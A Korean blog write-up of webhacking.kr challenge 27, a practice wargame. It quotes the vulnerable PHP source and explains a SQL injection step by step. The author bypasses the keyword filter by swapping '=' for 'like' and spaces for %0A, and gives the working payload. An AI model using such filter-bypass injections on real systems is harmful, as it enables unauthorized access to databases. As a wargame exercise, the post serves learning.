본문 바로가기

IT/웹 해킹(Web Hacking)

webhacking.kr [문제 27번]



27번 문제를 해결해보자.









해당 문제의 배점은 150point이며,


클릭해보자.






접속하니 SQL INJECTION을 이용하여 풀라는 힌트와 


인풋박스가 주어진다.


어떻게 인젝션하라는 정보가 없으므로


소스코드 또한 확인해보자.







해당 소스코드를 확인하니



인덱스 페이지의 소스코드가 주어져있다.


접속하여 확인해보자.








php 소스코드만 살펴보자


if($_GET[no])

{


if(eregi("#|union|from|challenge|select|\(|\t|/|limit|=|0x",$_GET[no])) exit("no hack");


$q=@mysql_fetch_array(mysql_query("select id from challenge27_table where id='guest' and no=($_GET[no])")) or die("query error");


if($q[id]=="guest") echo("guest");

if($q[id]=="admin") @solve();


}




특정 문자열들은 필터링 되어있으며,



쿼리를 날릴 때 id가 guest로 고정되어있다.



하지만 조건문을 확인하였을 때,


id가 admin일 경우만, 문제 해결이 된다고 한다.




각 유저 아이디의 no값을 알아내보자.









각각 1 과 2를 제출하였을 때,


no=1일 경우 guest인것으로 확인되었고,


no=2일 경우 query error 메세지를 출력한다.




데이터베이스 구조의 primary key 특성상 자동으로 1씩 증가하는 것을 고려하여보면,


확실하지 않을 수 있지만,


no=2가 admin의 no값으로 예상된다.




인풋값으로


0) or no = 2


다음과 같은 값을 제출하게되면,



select id from challenge27_table where id='guest' and no=(0) or no = 2)")) or die("query error")




쿼리문 전체는 다음과 같이된다.


뒤의 괄호) 하나가 남으므로,


주석처리를 위해 --를 추가하자.



select id from challenge27_table where id='guest' and no=(0) or no = 2 -- )")) or die("query error")



그렇다면 해당 쿼리는 다음과 같이 정리된다.




하지만 한가지 더 유의할 점이 있다.



필터링 된 문자열을 확인해보면,


=


괄호 기호는 사용하지 못하게 되어 있으므로



이를


like로 대체하자.


select id from challenge27_table where id='guest' and no=(0) or no like 2 -- )")) or die("query error")



이제 실제로 해당 부분의 공백은 %0A로 치환하여, 문제를 풀어보자.





0) or no like 2 --


0)%0Aor%0Ano%0Alike%0A2%0A--+








URL에 변조한 쿼리를 입력하고


엔터를 치게되면...









문제 해결 완료.










'IT > 웹 해킹(Web Hacking)' 카테고리의 다른 글

[WRITE UP] HTTP Pirates 2번  (0) 2020.07.21
webhacking.kr [문제 26번]  (0) 2018.03.31
webhacking.kr [문제 25번]  (0) 2018.03.31
webhacking.kr [문제 24번]  (0) 2018.03.31
webhacking.kr [문제 23번]  (0) 2018.03.31